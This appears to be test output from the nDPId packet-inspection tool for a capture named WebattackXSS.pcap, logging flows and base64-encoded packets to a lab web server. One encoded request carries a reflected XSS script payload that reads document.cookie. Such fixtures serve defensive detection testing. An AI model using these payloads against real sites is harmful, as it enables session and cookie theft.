+00479{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":7521,"source":"WebattackXSS.pcap","alias":"nDPId-test","flow_id":532,"flow_packet_id":1,"flow_first_seen":1499347872187,"flow_last_seen":0,"flow_tot_l4_data_len":40,"flow_min_l4_data_len":40,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":40,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.0.1","dst_ip":"192.168.10.50","src_port":33580,"dst_port":80,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00445{"flow_id":532,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":7521,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347872,"pkt_ts_usec":187685,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"ABm5CmnxAMGxFOsxCABFAAA8ycVAAD4G\/AqsEAABwKgKMoMsAFDCtZL+AAAAAKACchApXAAAAgQFtAQCCAoBPFs7AAAAAAEDAwc="} +00445{"flow_id":532,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":7522,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347872,"pkt_ts_usec":187811,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"AMGxFOsxABm5CmnxCABFAAA8AABAAEAGw9DAqAoyrBAAAQBQgyztIpfbwrWS\/6AScSB0pgAAAgQFtAQCCAoD5iywATxbOwEDAwc="} +00434{"flow_id":532,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":7523,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347872,"pkt_ts_usec":188547,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABm5CmnxAMGxFOsxCABFAAA0ycZAAD4G\/BGsEAABwKgKMoMsAFDCtZL\/7SKX3IAQAOUTrQAAAQEICgE8WzwD5iyw"} +00432{"flow_id":529,"flow_packet_id":4,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":7527,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347872,"pkt_ts_usec":865038,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABm5CmnxAMGxFOsxCABFAAA0sxhAAD4GEsCsEAABwKgKMoL2AFBvHeVXXBFgXIARAOXiBQAAAQEICgE8W+UD5ie1"} +00432{"flow_id":529,"flow_packet_id":5,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":7528,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347872,"pkt_ts_usec":865304,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"AMGxFOsxABm5CmnxCABFAAA0TQVAAEAGdtPAqAoyrBAAAQBQgvZcEWBcbx3lWIARAOPcYgAAAQEICgPmLVkBPFvl"} +00432{"flow_id":529,"flow_packet_id":6,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":7529,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347872,"pkt_ts_usec":866052,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABm5CmnxAMGxFOsxCABFAAA0sxlAAD4GEr+sEAABwKgKMoL2AFBvHeVYXBFgXYAQAOXcYAAAAQEICgE8W+UD5i1Z"} +00479{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":7533,"source":"WebattackXSS.pcap","alias":"nDPId-test","flow_id":533,"flow_packet_id":1,"flow_first_seen":1499347873465,"flow_last_seen":0,"flow_tot_l4_data_len":40,"flow_min_l4_data_len":40,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":40,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.0.1","dst_ip":"192.168.10.50","src_port":33594,"dst_port":80,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00444{"flow_id":533,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":7533,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347873,"pkt_ts_usec":465726,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"ABm5CmnxAMGxFOsxCABFAAA8+eFAAD4Gy+6sEAABwKgKMoM6AFCd+qWaAAAAAKACchA6LQAAAgQFtAQCCAoBPFx7AAAAAAEDAwc="} +00444{"flow_id":533,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":7534,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347873,"pkt_ts_usec":465855,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"AMGxFOsxABm5CmnxCABFAAA8AABAAEAGw9DAqAoyrBAAAQBQgzpjWOt2nfqlm6AScSC6ZwAAAgQFtAQCCAoD5i3vATxcewEDAwc="} +00433{"flow_id":533,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":7536,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347873,"pkt_ts_usec":466476,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABm5CmnxAMGxFOsxCABFAAA0+eJAAD4Gy\/WsEAABwKgKMoM6AFCd+qWbY1jrd4AQAOVZbwAAAQEICgE8XHsD5i3v"} +00432{"flow_id":530,"flow_packet_id":4,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":7539,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347873,"pkt_ts_usec":864959,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABm5CmnxAMGxFOsxCABFAAA019FAAD4G7gasEAABwKgKMoMEAFA06oCygiyu14ARAOUKAgAAAQEICgE8XN8D5ijz"} +00432{"flow_id":530,"flow_packet_id":5,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":7540,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347873,"pkt_ts_usec":865190,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"AMGxFOsxABm5CmnxCABFAAA0gIRAAEAGQ1TAqAoyrBAAAQBQgwSCLK7XNOqAs4ARAOMEowAAAQEICgPmLlMBPFzf"} +00432{"flow_id":530,"flow_packet_id":6,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":7541,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347873,"pkt_ts_usec":865922,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABm5CmnxAMGxFOsxCABFAAA019JAAD4G7gWsEAABwKgKMoMEAFA06oCzgiyu2IAQAOUEoQAAAQEICgE8XN8D5i5T"} +00479{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":7545,"source":"WebattackXSS.pcap","alias":"nDPId-test","flow_id":534,"flow_packet_id":1,"flow_first_seen":1499347874737,"flow_last_seen":0,"flow_tot_l4_data_len":40,"flow_min_l4_data_len":40,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":40,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.0.1","dst_ip":"192.168.10.50","src_port":33608,"dst_port":80,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00444{"flow_id":534,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":7545,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347874,"pkt_ts_usec":737577,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"ABm5CmnxAMGxFOsxCABFAAA88wxAAD4G0sOsEAABwKgKMoNIAFDgx661AAAAAKACchDs+AAAAgQFtAQCCAoBPF25AAAAAAEDAwc="} +00444{"flow_id":534,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":7546,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347874,"pkt_ts_usec":737738,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"AMGxFOsxABm5CmnxCABFAAA8AABAAEAGw9DAqAoyrBAAAQBQg0iSQssc4MeutqAScSBdZQAAAgQFtAQCCAoD5i8tATxduQEDAwc="} +00432{"flow_id":534,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":7547,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347874,"pkt_ts_usec":738427,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABm5CmnxAMGxFOsxCABFAAA08w1AAD4G0sqsEAABwKgKMoNIAFDgx662kkLLHYAQAOX8bAAAAQEICgE8XbkD5i8t"} +00433{"flow_id":531,"flow_packet_id":4,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":7551,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347874,"pkt_ts_usec":865237,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABm5CmnxAMGxFOsxCABFAAA0XbVAAD4GaCOsEAABwKgKMoMSAFAbjgUQnfQwcoARAOX\/WAAAAQEICgE8XdkD5iow"} +00432{"flow_id":531,"flow_packet_id":5,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":7552,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347874,"pkt_ts_usec":865469,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"AMGxFOsxABm5CmnxCABFAAA0Hz9AAEAGpJnAqAoyrBAAAQBQgxKd9DByG44FEYARAOP6PAAAAQEICgPmL00BPF3Z"} +00432{"flow_id":531,"flow_packet_id":6,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":7553,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347874,"pkt_ts_usec":866060,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABm5CmnxAMGxFOsxCABFAAA0XbZAAD4GaCKsEAABwKgKMoMSAFAbjgURnfQwc4AQAOX6OgAAAQEICgE8XdkD5i9N"} +00530{"flow_event_id":4,"flow_event_name":"guessed","thread_id":0,"packet_id":7554,"source":"WebattackXSS.pcap","alias":"nDPId-test","flow_id":491,"flow_packet_id":6,"flow_first_seen":1499347801271,"flow_last_seen":1499347806841,"flow_tot_l4_data_len":208,"flow_min_l4_data_len":32,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":34,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.0.1","dst_ip":"192.168.10.50","src_port":32838,"dst_port":80,"l4_proto":"tcp","ndpi": {"proto":"HTTP","breed":"Acceptable","category":"Web"},"http": {}} +00492{"flow_event_id":2,"flow_event_name":"end","thread_id":0,"packet_id":7554,"source":"WebattackXSS.pcap","alias":"nDPId-test","flow_id":491,"flow_packet_id":6,"flow_first_seen":1499347801271,"flow_last_seen":1499347806841,"flow_tot_l4_data_len":208,"flow_min_l4_data_len":32,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":34,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.0.1","dst_ip":"192.168.10.50","src_port":32838,"dst_port":80,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00530{"flow_event_id":4,"flow_event_name":"guessed","thread_id":0,"packet_id":7554,"source":"WebattackXSS.pcap","alias":"nDPId-test","flow_id":492,"flow_packet_id":6,"flow_first_seen":1499347802549,"flow_last_seen":1499347807841,"flow_tot_l4_data_len":208,"flow_min_l4_data_len":32,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":34,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.0.1","dst_ip":"192.168.10.50","src_port":32852,"dst_port":80,"l4_proto":"tcp","ndpi": {"proto":"HTTP","breed":"Acceptable","category":"Web"},"http": {}} +00492{"flow_event_id":2,"flow_event_name":"end","thread_id":0,"packet_id":7554,"source":"WebattackXSS.pcap","alias":"nDPId-test","flow_id":492,"flow_packet_id":6,"flow_first_seen":1499347802549,"flow_last_seen":1499347807841,"flow_tot_l4_data_len":208,"flow_min_l4_data_len":32,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":34,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.0.1","dst_ip":"192.168.10.50","src_port":32852,"dst_port":80,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00530{"flow_event_id":4,"flow_event_name":"guessed","thread_id":0,"packet_id":7554,"source":"WebattackXSS.pcap","alias":"nDPId-test","flow_id":493,"flow_packet_id":6,"flow_first_seen":1499347805119,"flow_last_seen":1499347810842,"flow_tot_l4_data_len":208,"flow_min_l4_data_len":32,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":34,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.0.1","dst_ip":"192.168.10.50","src_port":32878,"dst_port":80,"l4_proto":"tcp","ndpi": {"proto":"HTTP","breed":"Acceptable","category":"Web"},"http": {}} +00492{"flow_event_id":2,"flow_event_name":"end","thread_id":0,"packet_id":7554,"source":"WebattackXSS.pcap","alias":"nDPId-test","flow_id":493,"flow_packet_id":6,"flow_first_seen":1499347805119,"flow_last_seen":1499347810842,"flow_tot_l4_data_len":208,"flow_min_l4_data_len":32,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":34,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.0.1","dst_ip":"192.168.10.50","src_port":32878,"dst_port":80,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00530{"flow_event_id":4,"flow_event_name":"guessed","thread_id":0,"packet_id":7554,"source":"WebattackXSS.pcap","alias":"nDPId-test","flow_id":494,"flow_packet_id":6,"flow_first_seen":1499347806390,"flow_last_seen":1499347811528,"flow_tot_l4_data_len":208,"flow_min_l4_data_len":32,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":34,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.0.1","dst_ip":"192.168.10.50","src_port":32892,"dst_port":80,"l4_proto":"tcp","ndpi": {"proto":"HTTP","breed":"Acceptable","category":"Web"},"http": {}} +00492{"flow_event_id":2,"flow_event_name":"end","thread_id":0,"packet_id":7554,"source":"WebattackXSS.pcap","alias":"nDPId-test","flow_id":494,"flow_packet_id":6,"flow_first_seen":1499347806390,"flow_last_seen":1499347811528,"flow_tot_l4_data_len":208,"flow_min_l4_data_len":32,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":34,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.0.1","dst_ip":"192.168.10.50","src_port":32892,"dst_port":80,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00500{"flow_event_id":2,"flow_event_name":"end","thread_id":0,"packet_id":7554,"source":"WebattackXSS.pcap","alias":"nDPId-test","flow_id":458,"flow_packet_id":311,"flow_first_seen":1499347743331,"flow_last_seen":1499347811268,"flow_tot_l4_data_len":242343,"flow_min_l4_data_len":32,"flow_max_l4_data_len":1902,"flow_avg_l4_data_len":779,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.0.1","dst_ip":"192.168.10.50","src_port":60464,"dst_port":80,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00948{"flow_id":532,"flow_packet_id":4,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":7563,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347877,"pkt_ts_usec":28300,"pkt_caplen":449,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":449,"pkt_l4_len":415,"pkt":"ABm5CmnxAMGxFOsxCABFAAGzycdAAD4G+pGsEAABwKgKMoMsAFDCtZL\/7SKX3IAYAOW9+gAAAQEICgE8X\/YD5iywR0VUIC9kdi92dWxuZXJhYmlsaXRpZXMveHNzX3IvIEhUVFAvMS4xDQpIb3N0OiAyMDUuMTc0LjE2NS42OA0KVXNlci1BZ2VudDogTW96aWxsYS81LjAgKFgxMTsgTGludXggeDg2XzY0OyBydjo0NS4wKSBHZWNrby8yMDEwMDEwMSBGaXJlZm94LzQ1LjANCkFjY2VwdDogdGV4dC9odG1sLGFwcGxpY2F0aW9uL3hodG1sK3htbCxhcHBsaWNhdGlvbi94bWw7cT0wLjksKi8qO3E9MC44DQpBY2NlcHQtTGFuZ3VhZ2U6IGVuLVVTLGVuO3E9MC41DQpBY2NlcHQtRW5jb2Rpbmc6IGd6aXAsIGRlZmxhdGUNCkNvb2tpZTogc2VjdXJpdHk9bG93OyBzZWN1cml0eT1sb3c7IFBIUFNFU1NJRD12Nm9va2Y2ZTI2bjFpZG81c2l2ZTZzYWk3MQ0KQ29ubmVjdGlvbjoga2VlcC1hbGl2ZQ0KDQo="} +00773{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":7563,"source":"WebattackXSS.pcap","alias":"nDPId-test","flow_id":532,"flow_packet_id":4,"flow_first_seen":1499347872187,"flow_last_seen":1499347877028,"flow_tot_l4_data_len":527,"flow_min_l4_data_len":32,"flow_max_l4_data_len":415,"flow_avg_l4_data_len":131,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.0.1","dst_ip":"192.168.10.50","src_port":33580,"dst_port":80,"l4_proto":"tcp","ndpi": {"flow_risk": {"12":"HTTP Numeric IP Address"},"proto":"HTTP","breed":"Acceptable","category":"Web"},"http": {"hostname":"205.174.165.68","url":"205.174.165.68\/dv\/vulnerabilities\/xss_r\/","code":0,"content_type":"","user_agent":"Mozilla\/5.0 (X11; Linux x86_64; rv:45.0) Gecko\/20100101 Firefox\/45.0"}} +00432{"flow_id":532,"flow_packet_id":5,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":7564,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347877,"pkt_ts_usec":28406,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"AMGxFOsxABm5CmnxCABFAAA0prZAAEAGHSLAqAoyrBAAAQBQgyztIpfcwrWUfoAQAOsItAAAAQEICgPmMWoBPF\/2"} +02829{"flow_id":532,"flow_packet_id":6,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":7565,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347877,"pkt_ts_usec":32080,"pkt_caplen":1837,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":1837,"pkt_l4_len":1803,"pkt":"AMGxFOsxABm5CmnxCABFAAcfprdAAEAGFjbAqAoyrBAAAQBQgyztIpfcwrWUfoAYAOt9\/QAAAQEICgPmMWsBPF\/2SFRUUC8xLjEgMjAwIE9LDQpEYXRlOiBUaHUsIDA2IEp1bCAyMDE3IDEzOjMxOjE2IEdNVA0KU2VydmVyOiBBcGFjaGUvMi40LjE4IChVYnVudHUpDQpFeHBpcmVzOiBUdWUsIDIzIEp1biAyMDA5IDEyOjAwOjAwIEdNVA0KQ2FjaGUtQ29udHJvbDogbm8tY2FjaGUsIG11c3QtcmV2YWxpZGF0ZQ0KUHJhZ21hOiBuby1jYWNoZQ0KVmFyeTogQWNjZXB0LUVuY29kaW5nDQpDb250ZW50LUVuY29kaW5nOiBnemlwDQpDb250ZW50LUxlbmd0aDogMTQxOQ0KS2VlcC1BbGl2ZTogdGltZW91dD01LCBtYXg9MTAwDQpDb25uZWN0aW9uOiBLZWVwLUFsaXZlDQpDb250ZW50LVR5cGU6IHRleHQvaHRtbDtjaGFyc2V0PXV0Zi04DQoNCh+LCAAAAAAAAAOtWG1P4zgQ\/gzS\/gefTzpgpcbb2y+3XJoVtHAgsbfctix70kmRm7itwYmD7bTw72\/sOG14LdkioeKXeXk84xnP5N12+Mvga3\/07\/kRmplMoPOLw7PTPsIdQi4\/9gkZjAbox8noyxnqBh\/Q0CieGEKO\/sYIz4wp9glZLBbB4mMg1ZSMvpFbK6Vr2fywox1PkJoUR++2322HTs9tJnLde0JG99OnTxVrRb4VzhhNYbi1FWbMUGRZOuym5PMe7svcsNx0RncFwyipZj1s2K0hVsSfKJlRpZnpXYyOO39gRCqZW6HhRrDoeylypuiYC27u9tE3NhEsMSxFfSW1RkNuGBomiheG51O0+2M43EP7+2hAsxzVvIKhSzZGB0UheEINlznaHXy\/PNhD827Q\/YDeD9icCVlkAO19SCrFHoXg+TVSTPSwNneC6RljBiMDp\/GHSLTGaKbYpIeDgMBfOl9Qu0oyyvPAbZPH0jiYopbzH8\/olBFYui9pQueWLHAbSxnanbYJ4YrOabWKkVbJPSBX2v0\/BwXBlcZRSCpK7zniXWfHY5neoURQbb0uM4Yrl6Z8jnjaw9Z3cCKmvNcbW1ZIY30r5Nn0ERJ3SE2EnMqgyKcYUQEXYY2jVucGrKDukWpr5BgcVza0P9qLC5qmLK0OBASlqM9pdw+FTK6taQRHMk9A9XUPL3ieykUAWw5Hb6c6SbCDa1ZgoPfcFeDoBMwWEgpWFjzafo1AnkP0lYld0kExK16Q\/5AUR6eNlXZqIeDKYo2+JQ2OhnaICIQfLKLBYUMZKUW0gUHnjfjmcD3GqjSMvIDqaQYcHdr\/6FiqpKUHHgpktyxpA8DR46gvs4zmKTrNr5jzyGYoEq0mbVA4ekAx\/Ha8meIJJ8HnAkK1x4GzTNmaW\/IqfhwdcwjuU7uiN7ZNWQhJ0zbW8RwexoWbbegfWhh4uVq5yLO4uGVJqRjqH5yP+icHm0HRN4K3weHoIab\/OXury2olxmN43Fo5pcH1AA3aPbTLe5uhWjB6HfNWkGoWHF3CCA2ZtrcVnQ5apteHcm+1jlsBqRhwBPUM1Cpfv2xoCitONfRrVlVRr8KhahzL4usN0Oi21tA1iqGR6j6EDZ8gF4tQXa59DldkOLL1I9yPaqmdOYCf5xO5Rl2DCkfnJ+cQHRPZThEdy9KsUbOkwdGBHb6dWW2ht1b9ighHZ278AICv2O7Vfs8XgraEXRWC0MnYXa\/b7jULwXDW\/ZnuAkrmri+YG8Lnywo2TmTKYqoY9fXzRKoM5TSDah34oex1Ka6Hf8UIuqWZBOx\/HY18bRoW\/sSXM2p2NLqTpXLMn+vKOi\/KZvGPvWj7u6xvm0S6HGccyOZUlDAdVlOvjRRR1VQQi9Ituq5gaeBw9nv0BeLN3T6V0eqtgEW7590Dl2HlVtv7ad8vygXVhWsZ4YawW+tl4gzb0WDYeGnY2BkWuiGqptAIYngUaH6No5+XtbxErfEBdwxFgmEqPoKuCo4b96G9MfHQd34tMb4sbz1OlgcLfs0LlnLqRNtZ8+S6Pvnz2F4v42U8\/pjJlC9zYSIzm507E3oTuC8CT4J4BeOrNFc4qWDKdJ2EF9U9om7q8Mmluup14zhW0G5Wv3UGeSbj+LBPBKNqGUxPpSV9pw3LYpvKnwzPcWmMbXN9eH7nbIFOmCiWKbOQRVnENZnM+1XSXfX8+0BxUeyiZx7bOUiMZyDRXsfPAMk96b\/VjugJudhBezhCa2ENIRcl7G2BaSdzLTRrTSr4FNKmYBNIXyHLogvNlE17+yGBGaJpxnPvQpjXbzM6sx93PA1IXFHAo3o6GPqdlGubvdPai886dCKlufeto4g2+dhUPPWqNRMwse9W9VnOfTCL\/geoshewERQAAA=="} +00433{"flow_id":532,"flow_packet_id":7,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":7566,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347877,"pkt_ts_usec":32764,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABm5CmnxAMGxFOsxCABFAAA0ychAAD4G\/A+sEAABwKgKMoMsAFDCtZR+7SKex4AQAQABsgAAAQEICgE8X\/cD5jFr"} +00479{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":7567,"source":"WebattackXSS.pcap","alias":"nDPId-test","flow_id":535,"flow_packet_id":1,"flow_first_seen":1499347877292,"flow_last_seen":0,"flow_tot_l4_data_len":40,"flow_min_l4_data_len":40,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":40,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.0.1","dst_ip":"192.168.10.50","src_port":33634,"dst_port":80,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00444{"flow_id":535,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":7567,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347877,"pkt_ts_usec":292759,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"ABm5CmnxAMGxFOsxCABFAAA8t4hAAD4GDkisEAABwKgKMoNiAFCEB9ewAAAAAKACchAeJQAAAgQFtAQCCAoBPGA4AAAAAAEDAwc="} +00446{"flow_id":535,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":7568,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347877,"pkt_ts_usec":292858,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"AMGxFOsxABm5CmnxCABFAAA8AABAAEAGw9DAqAoyrBAAAQBQg2I\/o2nZhAfXsaAScSA\/9QAAAgQFtAQCCAoD5jGsATxgOAEDAwc="} +00433{"flow_id":535,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":7569,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347877,"pkt_ts_usec":293640,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABm5CmnxAMGxFOsxCABFAAA0t4lAAD4GDk+sEAABwKgKMoNiAFCEB9exP6Np2oAQAOXe\/AAAAQEICgE8YDgD5jGs"} +01215{"flow_id":532,"flow_packet_id":8,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":7570,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347877,"pkt_ts_usec":295989,"pkt_caplen":651,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":651,"pkt_l4_len":617,"pkt":"ABm5CmnxAMGxFOsxCABFAAJ9yclAAD4G+cWsEAABwKgKMoMsAFDCtZR+7SKex4AYAQDrkwAAAQEICgE8YDkD5jFrR0VUIC9kdi92dWxuZXJhYmlsaXRpZXMveHNzX3IvP25hbWU9JTNDc2NyaXB0JTNFY29uc29sZS5sb2clMjglMjdDRVNDNTdIUUVHS1JCRDRFVFhaOTFYS05RNEEwMEtBQVQ5TFgwQlQ5OEVYR0ZYN0JFOCUyNyUyOSUzQmNvbnNvbGUubG9nJTI4ZG9jdW1lbnQuY29va2llJTI5JTNCJTNDJTJGc2NyaXB0JTNFIEhUVFAvMS4xDQpIb3N0OiAyMDUuMTc0LjE2NS42OA0KVXNlci1BZ2VudDogTW96aWxsYS81LjAgKFgxMTsgTGludXggeDg2XzY0OyBydjo0NS4wKSBHZWNrby8yMDEwMDEwMSBGaXJlZm94LzQ1LjANCkFjY2VwdDogdGV4dC9odG1sLGFwcGxpY2F0aW9uL3hodG1sK3htbCxhcHBsaWNhdGlvbi94bWw7cT0wLjksKi8qO3E9MC44DQpBY2NlcHQtTGFuZ3VhZ2U6IGVuLVVTLGVuO3E9MC41DQpBY2NlcHQtRW5jb2Rpbmc6IGd6aXAsIGR